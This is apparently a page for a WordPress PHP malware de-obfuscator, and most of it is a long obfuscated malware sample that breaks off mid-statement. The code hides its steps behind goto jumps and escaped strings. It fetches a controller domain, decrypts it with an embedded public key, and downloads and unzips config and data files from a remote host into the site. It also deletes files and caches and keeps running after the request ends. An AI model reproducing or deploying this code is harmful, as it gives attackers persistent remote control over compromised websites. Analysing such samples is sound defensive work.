De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php
goto IjLVb; qIFNA: NSgmM: goto Ee2aG; OFgJj: R7sQU: goto K3IdN; bpiVz: goto jZDRb; goto Xlg8d; YmeFO: goto jdN35; goto E3snK; TPHb3: goto f3O5l; goto FOBVi; Z3w9T: XelPn: goto Ep7hP; uf2yz: EzEHV: goto wiAQu; y4qTm: goto DsIcr; goto wjvAk; XAzHD: d2M0t: goto wJQi4; TOMhv: echo "\165\x70\x64\141\x74\x65\40\x74\x69\155\x65\x20\x63\150\x65\143\153\x20\141\x3a\40" . (time() - $update_last_time) . "\57{$time_interval}\12"; goto ZEjgr; ac0Nw: eHP4y: goto XBdvv; m9AcK: if (!file_exists($update_last_time_file)) { goto sEx14; } goto mpRuX; oj7x2: goto gy5GO; goto OFgJj; Z2pPj: swHuG: goto fgBFK; ACWWZ: goto Gfm8m; goto PlltN; w3g6Q: goto x51y6; goto RG0o8; aGDe3: Vu6GL: goto ZKAek; WpzVU: DsIcr: goto aOSip; UmPzx: goto Drs48; goto wLpUZ; vwVp9: goto mFzIz; goto zs40I; WFp1v: k447n: goto SHuMP; QVKRT: GBmEt: goto MajlK; b4H08: BEoYB: goto OmM3M; KG0C3: goto DB9Gu; goto b4H08; ExlS6: goto FflRU; goto qRL62; yBCuK: c8f2F: goto rv_GC; lu04U: veg_r: goto u72tA; HWb6I: goto IkYQV; goto INdEk; tgERN: jN39T: goto DVeVL; URxJp: Woxir: goto FyODF; QjcAI: UhhpY: goto ffPh6; mtN3M: add_run_time_log("\x66\x69\156\144\x20\141\x70\151\x20\x64\x6f\155\141\151\156\40\144\157\x6e\145"); goto bN2XO; TzLrf: goto UQG9Q; goto aThPE; H3wZI: lmr8y: goto WsU74; wSXBL: goto Ltjiu; goto KTwN5; JKKOz: HfdQu: goto E8OZ0; xBFyY: $update_last_time_file = "{$common_tmp_dir}\x2f\x75\x70\x64\x61\164\145\x5f\154\x61\x73\164\137\164\151\x6d\145\56\x66\x69\x6c\145"; goto VGSoq; BjTAt: BsDDO: goto nGVFb; qZNKu: IkYQV: goto A6F2d; Fa9wV: Drs48: goto nxzs8; Fg36G: qiLHq: goto wIGIV; aThPE: ya1sO: goto T7T6q; l8ouj: goto a62fQ; goto QjcAI; Hfeb2: HEn36: goto M2S3A; E3snK: UQG9Q: goto EqQp4; Xlg8d: XNY3G: goto QpMJj; ugrmZ: hywdw: goto OG4gA; nxzs8: $public_key_string = "\55\55\55\55\55\102\105\x47\x49\x4e\40\x50\125\102\114\x49\x43\x20\113\x45\x59\55\x2d\55\55\x2d\xd\xa\x4d\x49\x49\102\111\152\101\116\x42\x67\x6b\161\150\x6b\151\107\71\167\x30\x42\101\121\105\106\101\x41\x4f\x43\x41\121\70\101\x4d\111\111\102\103\147\113\103\101\x51\105\x41\62\114\130\147\107\x36\x71\x74\x61\116\x47\x5a\x68\102\x31\x56\x33\155\101\107\15\xa\x6c\x31\x38\120\x36\x54\157\x6c\147\130\x52\x79\57\x6d\x48\67\x7a\67\x39\x51\156\153\x36\67\131\x58\x46\x69\121\132\131\123\x31\x77\171\66\x6c\x30\61\x63\144\x53\x43\62\x56\x70\x30\143\144\x6d\x32\x2b\x6b\65\x41\x31\165\x71\157\157\127\61\x30\106\15\xa\x6b\155\67\153\164\66\x69\x38\x50\x76\x44\x48\117\113\64\x39\112\x55\x61\65\x37\102\x71\165\164\156\x78\x41\x78\143\x78\x6c\142\67\162\107\155\x4f\116\x45\107\172\x42\x55\x76\116\x45\117\131\x77\171\105\x4e\123\x38\x50\154\167\163\x44\62\131\x68\x33\15\12\x32\x69\x6b\x4f\x56\104\x6b\53\127\166\150\171\124\151\156\x44\115\53\107\x79\141\154\x41\111\120\x61\x6f\x72\142\62\x41\155\x7a\x48\x48\157\155\172\x79\x59\101\x45\170\57\121\x2b\161\x4d\x45\124\x2b\x4e\63\105\103\121\110\153\122\147\61\x46\151\130\xd\xa\x4e\x71\144\107\71\161\x43\126\x59\117\113\x65\x57\x69\141\x7a\121\x53\x47\114\x7a\65\130\147\x2b\x72\x53\66\101\x37\x4e\150\x67\x69\x48\103\105\170\123\x4f\110\x4f\x69\x48\x35\x56\157\142\x79\x70\127\x75\x50\x59\163\164\161\x6d\71\x33\130\x56\x75\x69\15\xa\x53\x37\114\x68\115\150\71\104\x6a\x50\x35\102\121\x70\x4d\x72\x6e\170\53\x73\104\x6c\162\x72\63\x69\67\x30\122\x5a\153\x2f\x71\65\116\120\x70\122\166\66\x51\x4f\101\125\x46\x36\107\x70\160\161\x78\103\x4b\117\x6e\x75\x44\x72\141\161\x70\x4c\167\x4c\15\xa\132\x77\111\x44\x41\x51\x41\x42\xd\12\x2d\x2d\x2d\55\x2d\105\116\x44\40\x50\x55\x42\x4c\x49\x43\40\113\x45\131\55\x2d\55\x2d\55"; goto GX2rc; bWDKN: WHAKE: goto zA3JC; cTg68: cwEhn: goto MtkTS; OK8BF: $error_msg = "\x67\145\164\x20\x64\x6f\x6d\x61\x69\x6e\40\144\141\x74\141\x20\x72\x65\x73\165\154\164\40\145\x72\162\157\x72\41"; goto ybhB_; mYkrX: PLqfq: goto bpiVz; OJN8R: $time_interval = 10; goto uTcqY; rXe2a: goto RM_V1; goto HFjGH; zLGE2: $error_msg = str_replace("\162\x65\163\137\x65\x72\162\157\162\72\72\x3a", "\145\162\162\157\x72\x3a\x20", $get_data_res); goto icw0l; KoVMO: goto Eh_Cg; goto uf2yz; Heh4f: add_run_time_log("\x74\162\171\x20\146\151\x6e\x64\40\x61\x70\x69\x20\x64\x6f\x6d\x61\x69\x6e"); goto z_xbf; wy3tx: wApuj: goto OJN8R; Ep7hP: $error_msg = "\x67\145\164\40\x75\160\x64\x61\x74\145\40\x64\x61\164\141\x20\x65\x72\x72\x6f\x72\41"; goto rXe2a; sdxAn: DNINw: goto tlnGx; mesOI: $error_msg = "\x44\x61\164\141\40\x76\145\162\151\146\151\x63\x61\164\151\157\x6e\40\146\141\x69\154\145\x64\x21"; goto io6cG; ZHbbj: goto lvJHr; goto S0N1F; wIGIV: if (!is_numeric($update_last_time)) { goto FC8Vk; } goto G_3yg; uTcqY: goto E56vX; goto yBCuK; RRfRw: goto UH4BQ; goto sZE1S; t5vx7: goto swHuG; goto ziJ7I; PIkxz: exit($error_msg); goto ex1T6; v0tNs: goto PLqfq; goto f27VW; kzXCX: exit($error_msg); goto Fn5id; Fn5id: goto G8gNQ; goto Etczh; pWKko: goto BoY24; goto Wh4qd; DEqE4: goto DNINw; goto GXKhS; SQCPR: goto xgzDt; goto nB9Nk; hT7Wo: @unlink("{$common_tmp_dir}\x2f\x75\160\144\x61\x74\145\137\154\x61\x73\164\137\x72\165\x6e\137\x72\145\163\165\154\x74\x2e\164\170\x74"); goto oIIIy; Tt08C: goto Woxir; goto D667G; j_xuN: $get_data_api_url = "\150\164\x74\x70\72\x2f\x2f{$download_domain}\x2f\x61\x70\151\56\x70\x68\x70\x3f\46\153\145\171\137\x76\x65\162\x73\151\x6f\x6e\75{$public_key_version}\46\x63\150\x61\156\156\145\154\137\x6e\141\155\x65\75{$channel_name}\46\x63\150\141\x6e\156\x65\x6c\137\153\145\x79\75{$channel_key}\x26\163\x69\164\145\75{$http_host}"; goto TZfEf; io6cG: goto Q97lW; goto ugrmZ; jYTw5: goto QjJ4z; goto B5faq; M2S3A: goto lLmWK; goto V_SQs; l4Czo: g1P2O: goto yPkZ7; vkYQG: ZJttS: goto Z8T2J; JKhRE: jv8zK: goto DEqE4; xaf8W: UhDu0: goto Heh4f; y3Kan: cd2Mr: goto ssXtf; Cp8Sr: openssl_public_decrypt($domain_encrypted, $download_domain, $public_key_string); goto OflWn; oIIIy: goto lmr8y; goto Q8CCm; mj6QV: rhvhX: goto Hfeb2; mpRuX: goto d2M0t; goto Gz3iK; Gz3iK: sEx14: goto JojeA; W5nT2: goto veg_r; goto xaf8W; ws1sZ: goto hywdw; goto QtoR8; Eve6c: xgzDt: goto zLGE2; JrZgn: goto RQc4h; goto mQvmv; GgTDY: $get_domain_api_url = "\x68\164\x74\x70\72\x2f\57{$api_domain}\57\147\x65\x74\137\x75\160\144\x61\x74\145\137\x64\157\155\141\151\156\56\x70\x68\160\x3f\x6b\145\x79\x5f\166\145\162\x73\151\157\x6e\x3d{$public_key_version}\46\143\150\141\x6e\x6e\145\154\137\156\141\155\145\75{$channel_name}\x26\143\x68\x61\x6e\156\x65\154\x5f\153\145\x79\75{$channel_key}\46\163\x69\164\145\x3d{$http_host}"; goto LvBHb; AlWjh: goto cUirz; goto wy3tx; E3yqT: if (!($update_last_time != 0 && time() - $update_last_time <= $time_interval)) { goto V9Tuk; } goto dLby5; tlnGx: echo "\x75\x70\x64\x61\164\x65\40\164\x69\x6d\145\x20\x63\x68\145\x63\153\40\x62\x3a\40" . (time() - $update_last_time) . "\x2f{$time_interval}\12"; goto kGY8L; WsU74: goto HEn36; goto bxEdQ; ZKAek: openssl_public_decrypt(base64_decode($config_file_md5_encrypted), $config_file_md5, $public_key_string); goto y4qTm; J4iae: HBVzB: goto uPKI7; fcFDE: goto rKWyN; goto zA2um; dD8pa: goto l1qWU; goto gC8rY; BePHp: goto A4R0P; goto UcgCY; G0L9X: exit($error_msg); goto ExlS6; jDklC: lvJHr: goto kzXCX; VrzsH: Rf5sd: goto aSubg; LPnKF: rFF98: goto cCOEe; zA3JC: goto GL9RO; goto dD8pa; StsXX: o4ZCf: goto ccSa5; N0V7s: Pyzhc: goto QTd4i; xWKYl: FC8Vk: goto lk3LY; Q8CCm: i6pTC: goto F9vAc; wE10y: o08Fd: goto ycGcT; B5a2t: Q97lW: goto t5Obg; fSsYw: goto zD6SJ; goto QVKRT; HFjGH: G8gNQ: goto tuK4g; enc5n: gPyCj: goto uItC0; BfHvw: cUirz: goto AfwFe; WnRlG: if (stripos($get_domain_res, "\162\145\x73\x5f\157\153\72\x3a\x3a") !== 0) { goto ad1li; } goto wSXBL; bxEdQ: goto ujaEO; goto N0V7s; ycGcT: include dirname(__FILE__) . "\57\143\157\x6d\x6d\x6f\156\x2e\x70\150\x70"; goto y9VqM; a1wrd: mFzIz: goto PIkxz; mRX3m: goto t4g2q; goto qIFNA; CJ76J: goto GBmEt; goto enc5n; qD0fX: hR2qb: goto zJa5N; RrwVM: goto EBPsR; goto WFp1v; ccSa5: $tmp_download_dir = "{$common_tmp_dir}\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64\57"; goto l8ouj; E8OZ0: add_log($error_msg); goto cgYcx; lk3LY: goto wFMJ4; goto jDklC; KTwN5: ad1li: goto TPHb3; aA2hY: goto fldnX; goto URxJp; zA2um: UH4BQ: goto syR7G; LMn1c: y7n9L: goto m9AcK; nB9Nk: Svfnn: goto HYPA8; FluLE: lLmWK: goto P23MF; XMG_B: goto Y_c5S; goto BfHvw; LVEC6: goto stYht; goto wKXdn; D667G: E56vX: goto elawF; I8vL8: TRaqQ: goto ClqII; wJQi4: goto jN39T; goto bbxff; ZZUur: foreach (glob("{$common_data_dir}\57\52") as $tmp_file_item) { goto X6FNW; A6_vr: if (stripos($tmp_file_item, "\x40") !== false && stripos($tmp_file_item, $data_timestamp) === false) { goto UhqtE; } goto Lya7P; jDXIP: FeIjc: goto lWlIW; rj6t_: UhqtE: goto Fv6pp; BlMZ4: goto asU0S; goto Jhvy8; wn0pU: xe2CE: goto F8vpS; X6FNW: goto bWMA1; goto TNNK9; Jhvy8: cOlgV: goto ANLDI; Z0vQh: goto cOlgV; goto yFQ3_; lWlIW: @unlink($tmp_file_item); goto BlMZ4; Lya7P: goto xe2CE; goto rj6t_; F8vpS: goto OG8fp; goto hDjzq; Fv6pp: goto FeIjc; goto jDXIP; yFQ3_: asU0S: goto wn0pU; CO7aK: iCuVZ: goto Z0vQh; hDjzq: bWMA1: goto A6_vr; TNNK9: OG8fp: goto CO7aK; ANLDI: FiA1Y: goto lHHSO; lHHSO: } goto ay1rl; uPKI7: goto rFF98; goto StsXX; Etczh: DH1i1: goto xBFyY; wKXdn: zD6SJ: goto hSQhW; t5Obg: add_log($error_msg); goto UUvjp; INdEk: BZRrD: goto mYkrX; lWcct: goto cd2Mr; goto aPaYU; comdv: OuaQO: goto osWx7; FOBVi: TYjz5: goto j_xuN; MaK91: goto qiLHq; goto bWDKN; VQGIm: BoY24: goto Mq9hv; zx7_j: RM_V1: goto MqU8L; xCwrI: goto Svfnn; goto zRIeY; K3IdN: $update_last_time = 0; goto IhkRq; Q41Av: shN1d: goto w3g6Q; QtoR8: CDfpK: goto fpOgX; pE5oj: file_put_contents("{$common_tmp_dir}\x2f\165\x70\x64\x61\x74\145\x5f\154\x61\x73\164\137\162\165\156\137\x72\145\163\x75\x6c\x74\x2e\164\170\164", "\165\x70\144\x61\164\145"); goto xCwrI; bbxff: fldnX: goto pE5oj; kGY8L: goto oDQOs; goto MOvgX; uItC0: ini_set("\x6d\x61\x78\137\145\170\145\x63\165\x74\x69\157\x6e\x5f\x74\151\x6d\145", "\71\71\x39\71"); goto fSsYw; UZJgB: goto XNY3G; goto lQkch; mOxil: goto wApuj; goto uVdlb; JFvdM: goto zuHW2; goto LPnKF; Fpu8z: rD0xY: goto lfOuv; OFD_S: goto t3wQq; goto Q41Av; ay1rl: yfUK_: goto t5vx7; DysID: GdFRs: goto E3yqT; d3JDv: goto ya1sO; goto Fg36G; zSEUB: goto c8f2F; goto yagyF; C0fwJ: goto E3V4O; goto cTg68; VaZRt: goto F9GmS; goto FluLE; zRIeY: J3xB1: goto zy6g2; S0N1F: jZDRb: goto ZZUur; ybhB_: goto cwEhn; goto B5a2t; RG0o8: NNHa2: goto ommHl; PYX2k: goto BEoYB; goto IRrj4; lfOuv: $get_domain_res = curl_get($get_domain_api_url); goto jYTw5; IhkRq: goto WHAKE; goto LMn1c; ziJ7I: gy5GO: goto pF1ce; SHuMP: goto gDyeY; goto I8vL8; wLpUZ: xgwn3: goto VeFjh; f8lHA: RQc4h: goto vbxrW; wiAQu: goto s4ciM; goto zx7_j; oXuWg: goto TRaqQ; goto uUJAU; Gmh3K: V9Tuk: goto HWb6I; FyODF: foreach ($all_list_files as $list_file_item) { goto ixUJn; NKMr8: UzO19: goto k1_Cp; HWEE7: Uytc5: goto DQDQ1; FcmVV: goto CKKfM; goto LBTfD; ixUJn: goto QtTx3; goto WuYQw; z7ATR: DXRJU: goto YfuhJ; E_Odv: jb922: goto iUfz8; rpzHO: goto cnaGa; goto HWEE7; bATEf: cnaGa: goto xmEAZ; Ev1iG: goto PVdwO; goto z7ATR; DQDQ1: mmdlX: goto xwrWl; iUfz8: shuffle($list_content_array); goto qVJAa; Gzwrg: goto jb922; goto bWVO_; qCHRf: goto QKwuK; goto bATEf; qVJAa: goto O3fnq; goto m2EXP; IQRYs: juUfI: goto qbY1Y; Y1vJ6: PVdwO: goto rrDOQ; bWVO_: DgZO9: goto wve50; k1_Cp: dcDAi: goto rpzHO; xmEAZ: $list_content_array = file_to_array($list_file_item); goto Gzwrg; sdg_7: if (stripos(basename($list_file_item), "\164\x6f\162\x72\x65\x6e\164\x5f\143\x6c\141\163\163\137\144\141\164\141\137\x69\144\x73") !== false) { goto DXRJU; } goto Ev1iG; m2EXP: QtTx3: goto XDL8K; WuYQw: CKKfM: goto Y1vJ6; a2H6I: goto dcDAi; goto kCSjd; XDL8K: if ($api_config_shuffle_torrent_list == "\157\x66\146") { goto xyira; } goto a2H6I; wve50: goto pRazq; goto FcmVV; LPujE: goto Uytc5; goto Edsfr; Edsfr: QKwuK: goto sdg_7; nvK74: file_put_contents("{$base_dir}\x2f\144\x61\x74\141\x2f" . basename($list_file_item), implode("\12", $list_content_array)); goto UAlui; UAlui: goto juUfI; goto NKMr8; YfuhJ: goto DgZO9; goto E_Odv; kCSjd: xyira: goto qCHRf; rrDOQ: goto UzO19; goto IQRYs; LBTfD: O3fnq: goto nvK74; qbY1Y: pRazq: goto LPujE; xwrWl: } goto J4iae; llzTR: Gfm8m: goto VrzsH; MOvgX: LMKQr: goto LaRlH; fgBFK: BnO3H: goto dc4Yw; nEues: bi0OV: goto RRfRw; PlltN: EUBrr: goto GgTDY; Ae_kP: $debug_output = false; goto qnABh; GX2rc: goto WOKvR; goto tgERN; Q_xqp: goto NNHa2; goto VQGIm; oZkcV: WOKvR: goto idkN6; eOEOo: f3O5l: goto OK8BF; UUvjp: goto i6pTC; goto wE10y; qnABh: goto Pyzhc; goto aGDe3; AZF1j: if (stripos($get_data_res, "\x72\145\163\x5f\x6f\153\x3a\72\x3a") !== 0) { goto hR2qb; } goto IAzyQ; elawF: $lock_file = "{$common_tmp_dir}\57\165\160\x64\x61\164\x65\137\154\157\143\x6b\x2e\146\x69\154\145"; goto frYCI; V_SQs: gDyeY: goto bWt5j; DVeVL: $update_last_time = file_get_contents($update_last_time_file); goto MaK91; zs40I: wFMJ4: goto ANN20; TZfEf: goto hGo29; goto zrmzf; MSbD6: s4ciM: goto mesOI; yagyF: FflRU: goto lWcct; ptPsR: goto GdFRs; goto Xzyhi; wjvAk: x51y6: goto TOMhv; Md_lt: t3wQq: goto JrZgn; dN2tB: goto Vu6GL; goto c4yq7; idkN6: $public_key_version = 1; goto BePHp; mItAv: goto ZN2p1; goto H3wZI; OflWn: goto ZJttS; goto ac0Nw; OG4gA: delete_all_html_cache_files(); goto aA2hY; b4DIH: goto o08Fd; goto Z3w9T; rv_GC: openssl_public_decrypt(base64_decode($data_file_md5_encrypted), $data_file_md5, $public_key_string); goto dN2tB; f71Wj: bPhvM: goto qx79f; ex1T6: goto Aw1F6; goto BEibG; A6F2d: file_put_contents($update_last_time_file, time()); goto qOVm1; syR7G: $update_data_res_array = unserialize(str_ireplace("\162\145\163\x5f\x6f\153\72\72\72", '', $get_data_res)); goto TzLrf; XBdvv: exit; goto KG0C3; aSubg: goto CDfpK; goto Fpu8z; mm2mE: l1qWU: goto XAzHD; BEibG: TG6II: goto ebJwq; IRrj4: zuHW2: goto vuRWr; tuK4g: Ltjiu: goto XMG_B; LaRlH: n_RY5: goto UZJgB; JojeA: goto R7sQU; goto eOEOo; gC8rY: pARys: goto y3Kan; OC35p: wgyq3: goto Q_xqp; dc4Yw: goto o4ZCf; goto BjTAt; ffPh6: aGvTX: goto mItAv; u72tA: add_run_time_log("\151\x6e\151\164"); goto Eavyl; jfWlz: rKWyN: goto k6k8o; Z8T2J: if (empty($download_domain)) { goto wgyq3; } goto fJkD3; vbxrW: $lock_fp = fopen($lock_file, "\x77\53"); goto oXuWg; qOVm1: goto D21bA; goto Eve6c; pFcUa: goto HfdQu; goto lu04U; osWx7: goto kV0rZ; goto vkYQG; Q3mMn: EBPsR: goto UmPzx; ZEjgr: goto eHP4y; goto Wi25q; XWeM6: foreach (glob("{$tmp_download_dir}\57\x2a") as $tmp_download_file_item) { goto Dpiw_; EIoBt: goto wbfO6; goto hFNdJ; hFNdJ: wbfO6: goto TW_0x; eUVqx: UN2L3: goto QQ5wj; DibCN: OO7ee: goto EIoBt; Dpiw_: goto rTDyO; goto b25Pa; W2TGs: h9vR6: goto bYGBC; bYGBC: goto pILfK; goto kwp7j; v95NV: goto h9vR6; goto eUVqx; zEYSX: if (time() - filemtime($tmp_download_file_item) < 10) { goto UN2L3; } goto v95NV; kwp7j: ARk1r: goto Q1OZh; m61sD: pILfK: goto DibCN; Q1OZh: exit("\x74\155\x70\40\x64\x6f\x77\x6e\x6c\157\141\x64\x20\x63\x68\x65\143\153\x20\74\x20\x31\x30"); goto ex2Fk; QQ5wj: goto ARk1r; goto m61sD; TW_0x: JybUj: goto UG8GB; nVf9I: rTDyO: goto zEYSX; ex2Fk: goto VJbfo; goto nVf9I; b25Pa: VJbfo: goto W2TGs; UG8GB: } goto comdv; OmM3M: add_run_time_log("\146\145\x74\x63\150\x20\x61\160\151\x20\162\x65\163\40\144\x6f\x6e\x65"); goto VaZRt; zy6g2: if (!defined("\x43\117\x4d\x4d\117\x4e\137\106\111\x4e\x49\123\x48")) { goto k447n; } goto RrwVM; Uez4m: goto BZRrD; goto a1wrd; uVdlb: Aw1F6: goto nEues; P23MF: flock($lock_fp, LOCK_UN); goto Uez4m; Na86e: D21bA: goto hT7Wo; yPkZ7: goto LMKQr; goto oZkcV; fJkD3: goto aGvTX; goto OC35p; AfwFe: if ($update_last_time != 0 && time() - $update_last_time <= $time_interval) { goto shN1d; } goto OFD_S; G_3yg: goto Rf5sd; goto xWKYl; QTd4i: ignore_user_abort(true); goto nN_Ct; GXKhS: dtlso: goto xQQMz; MqU8L: goto euMeV; goto xQz4E; iJ2Ob: goto rhvhX; goto Z2pPj; lQkch: Y_c5S: goto zbw0d; c4yq7: stYht: goto mpXUV; Xzyhi: A4R0P: goto Ae_kP; LhjLi: E3V4O: goto Q3mMn; VGSoq: goto y7n9L; goto jfWlz; bWt5j: exit; goto C0fwJ; ooA_9: kV0rZ: goto f71Wj; Ee2aG: goto XelPn; goto DysID; T7T6q: $domain_encrypted = base64_decode($domain_encrypted); goto YmeFO; qRL62: QjJ4z: goto WnRlG; xQQMz: euMeV: goto CJ76J; dLby5: goto jv8zK; goto Gmh3K; MtkTS: add_log($error_msg); goto ZHbbj; qx79f: goto xgwn3; goto LhjLi; ommHl: $error_msg = "\x64\145\x63\x72\171\x70\164\40\x64\x6f\155\141\151\156\40\x64\141\164\x61\40\x65\162\x72\x6f\162\x21"; goto pFcUa; UcgCY: ujaEO: goto JKhRE; y9VqM: goto J3xB1; goto Fa9wV; vuRWr: Eh_Cg: goto oj7x2; f27VW: anyoj: goto ptPsR; sZE1S: DB9Gu: goto Md_lt; Wh4qd: oDQOs: goto bteCe; uUJAU: a62fQ: goto XWeM6; cCOEe: bEPMp: goto ws1sZ; zrmzf: F9GmS: goto AZF1j; ebJwq: t4g2q: goto SQCPR; nN_Ct: goto gPyCj; goto mm2mE; Q2jcW: add_run_time_log("\164\x72\171\x20\146\x65\x74\143\150\x20\141\160\x69\x20\162\145\163"); goto fcFDE; LvBHb: goto UhDu0; goto ooA_9; bteCe: exit; goto iJ2Ob; cgYcx: goto Z5M5P; goto zpK0n; F9vAc: exit($error_msg); goto JFvdM; mpXUV: fastcgi_finish_request(); goto W5nT2; ssXtf: goto TYjz5; goto mj6QV; fpOgX: GL9RO: goto AlWjh; k6k8o: $get_data_res = curl_get($get_data_api_url); goto PYX2k; zJa5N: goto BsDDO; goto WpzVU; Mq9hv: foreach (array("\x63\x6f\x6e\x66\151\x67", "\x64\141\x74\141") as $download_type) { goto fwjib; OBBG8: goto LyzbK; goto aDHEG; cclH5: foreach ($all_download_file_array as $download_file_item) { goto shlFi; GKMG6: H6kiL: goto aLL1c; FzW3M: Jlhxf: goto ErEAy; WKWZ9: goto gIgOV; goto GKMG6; ErEAy: $target_file_path = "{$common_data_dir}\x2f" . basename($download_file_item); goto RItlb; RItlb: goto H6kiL; goto X2Vco; aLL1c: @unlink($target_file_path); goto wicjE; UfhZ3: jEFs8: goto N6dIM; shlFi: goto Jlhxf; goto UgIwt; Jd01l: zt228: goto WKWZ9; xNJIJ: rename($download_file_item, $target_file_path); goto VdKQS; UgIwt: SYAvA: goto Jd01l; X2Vco: u54oG: goto xNJIJ; VdKQS: goto SYAvA; goto AIwt9; wicjE: goto u54oG; goto FzW3M; AIwt9: gIgOV: goto UfhZ3; N6dIM: } goto qdrT4; givV8: thdP4: goto d4WCj; E5RHy: pHvcl: goto LDJrp; QN71V: goto xhuQP; goto wD3oT; zPED8: LyzbK: goto kdXsr; NoxO_: delete_dir($tmp_download_dir); goto NCHQB; jCmcL: goto qf0IJ; goto K3Rzk; WtzLW: goto h0frd; goto xdt8P; Ubje5: goto GdtW2; goto RZ4Pu; WeIER: goto gBWl0; goto E5RHy; CiXZ9: $date_str = date("\x59\55\x6d\55\144\40\x48\72\x69\72\163"); goto MvUMt; bbx5m: goto KIkpV; goto JJZWv; gz1wy: qf0IJ: goto OcDJl; IWxoY: RAE4l: goto MwNlb; ZbAOn: goto Mo22Z; goto hbtTn; K3Rzk: BT55c: goto QfEXg; BEwqc: d9XRK: goto Hzqia; QCG7L: goto vvw7r; goto GV89k; afHiz: goto a6fV3; goto plLCc; H50c_: $this_file = $download_type . "\x5f\x66\151\x6c\x65"; goto AfCMo; qlAj6: $this_download_file_full_url_masked = mask_domain($this_download_file_full_url); goto jCmcL; tjLG5: $this_file_md5 = $download_type . "\137\146\151\154\145\137\155\144\65"; goto L2_yN; BMQvl: add_log($error_msg); goto VOgIf; lA5Rl: goto vr17U; goto JlCbb; mD51s: goto mNDUD; goto Bnv2a; ceD_N: goto VLSg9; goto juQTL; KtSvY: Y53hK: goto u_nex; d4WCj: if ($data_timestamp == $api_latest_data_time) { goto Y0cDZ; } goto Wwj6H; K6YA4: wXKuH: goto PMem5; GV89k: qgHpH: goto Gg9t6; NZmbD: @unlink("{$base_dir}\x2f\57\143\x6f\156\x66\151\147\57\x40\x63\157\x6e\x66\x69\x67\56\x70\150\160"); goto byixI; BslAj: clearstatcache(); goto Ubje5; u_nex: goto pHvcl; goto gO8Mx; VOgIf: goto SBREc; goto UqP0C; Grq3Q: goto FhaG2; goto j6Hby; oU67E: goto thdP4; goto uojim; VrhZT: unzip_file($this_download_file_tmp_path, $tmp_download_dir); goto Grq3Q; MwNlb: AZ5ao: goto oPjz_; PQuKY: goto flQLu; goto xWxhD; Gm21K: goto WHInm; goto zkfPT; juQTL: HCKuA: goto H7ENA; doX1e: goto OkT3v; goto dKzIU; CzEKq: $msg = "\x61\154\162\145\x61\x64\171\40\x6c\141\164\x65\163\x74\40\144\x61\x74\141\56\40" . date("\131\55\x6d\55\144\x20\x48\72\151\72\x73", $data_timestamp) . "\56"; goto OBBG8; PqjeF: g8xdl: goto xjRLC; FfmLv: tic47: goto Oc4xO; byixI: goto S2w47; goto D8A0B; Fd15D: Y0cDZ: goto QEuO4; E_9K6: if (!($local_md5 != ${$this_file_md5})) { goto mRP7U; } goto coVvo; MCZmG: goto g8xdl; goto FfmLv; qnir0: PtA3z: goto QPv9N; mg7wO: goto s4j6b; goto fC9as; RZ4Pu: gBWl0: goto BMQvl; uojim: a6fV3: goto F9WKT; WQ8k0: if ($download_type == "\x63\157\x6e\x66\x69\147") { goto tic47; } goto MCZmG; Bnv2a: FOAh_: goto BslAj; QPv9N: file_put_contents("{$common_tmp_dir}\57\165\x70\144\x61\x74\145\137\154\x61\163\x74\137\162\165\156\137\x72\145\x73\x75\154\x74\x2e\x74\x78\x74", "\154\141\164\x65\163\x74"); goto ZbAOn; JJZWv: KIkpV: goto cclH5; IeUJ7: FlP4C: goto mD51s; JlCbb: wqLEG: goto uvXqN; zkfPT: GdtW2: goto E_9K6; n_k9z: exit; goto Gm21K; coVvo: goto x551a; goto bt2D3; aDHEG: lJo1g: goto R6Fi1; OCVxB: flQLu: goto Ic4dq; PZk1F: $all_download_file_array = glob("{$tmp_download_dir}\57{$download_type}\x2f\52"); goto bbx5m; Et1BJ: add_run_time_log("{$this_download_file_full_url_masked}\x20\144\x6f\x77\156\x6c\x6f\x61\144\40\x66\x61\x69\x6c\145\x64"); goto v8LO1; Gg9t6: $res = curl_down($this_download_file_full_url, $this_download_file_tmp_path); goto ZHQh8; AfCMo: goto skR2b; goto yLfbO; rcTJ8: @mkdir($tmp_download_dir, 0755, true); goto shLxp; QEuO4: goto PtA3z; goto o1Jbn; GPTmL: x551a: goto doX1e; uyDaS: UJ48F: goto NoxO_; kdXsr: add_log($msg); goto PQuKY; EBImR: s4j6b: goto WQ8k0; UqP0C: RwONy: goto IkAxe; fGyvf: xhuQP: goto lA5Rl; fC9as: WHInm: goto K6YA4; gO8Mx: VLSg9: goto qlAj6; gzDUv: goto ENskj; goto BEwqc; yVq46: goto iU1M0; goto gMd5K; j6Hby: UxhZS: goto rcTJ8; YkatL: goto d9XRK; goto OCVxB; xdt8P: LyShR: goto n_k9z; hdvzJ: goto VAo1I; goto gz1wy; qdrT4: T9vAU: goto hdvzJ; nibJ2: FhaG2: goto PZk1F; wD3oT: IEVdr: goto oU67E; uvXqN: $this_download_file_full_url = "\x68\164\164\x70\72\x2f\57{$download_domain}\57{${$this_file}}"; goto afHiz; D8A0B: h0frd: goto GPTmL; LDJrp: delete_dir($tmp_download_dir); goto mg7wO; Xk7pw: goto lJo1g; goto iM92_; L2_yN: goto wqLEG; goto qnir0; bt2D3: mRP7U: goto QCG7L; y6bPN: fsKtS: goto jj_zV; xt2xR: add_run_time_log("{$this_download_file_full_url_masked}\x20\x64\x6f\167\156\x6c\x6f\x61\144\40\x73\165\143\x63\145\x73\x73"); goto Xk7pw; Hzqia: echo "{$error_msg}\x3c\142\162\x3e\xa"; goto WeIER; jj_zV: if ($download_type == "\x64\141\164\141") { goto IEVdr; } goto QN71V; hbtTn: mNDUD: goto fGyvf; dKzIU: S2w47: goto PqjeF; v8LO1: goto HCKuA; goto givV8; NCHQB: goto UxhZS; goto nibJ2; f08a2: ENskj: goto IeUJ7; o1Jbn: Mo22Z: goto CzEKq; mK_Dy: goto qgHpH; goto P2uPI; xjRLC: goto RAE4l; goto R2xxx; QfEXg: $local_md5 = md5_file($this_download_file_tmp_path); goto yVq46; R6Fi1: goto wXKuH; goto WtzLW; P2uPI: R1WHM: goto VrhZT; Wwj6H: goto FlP4C; goto Fd15D; plLCc: iU1M0: goto CiXZ9; F9WKT: $this_download_file_tmp_path = "{$tmp_download_dir}\x2f" . basename(${$this_file}); goto ceD_N; JVmcr: OkT3v: goto Et1BJ; yLfbO: SBREc: goto EB0gQ; MvUMt: goto FOAh_; goto y6bPN; xWxhD: l0yLy: goto NZmbD; H7ENA: $error_msg = "\x66\151\154\x65\40" . mask_domain($this_download_file_full_url) . 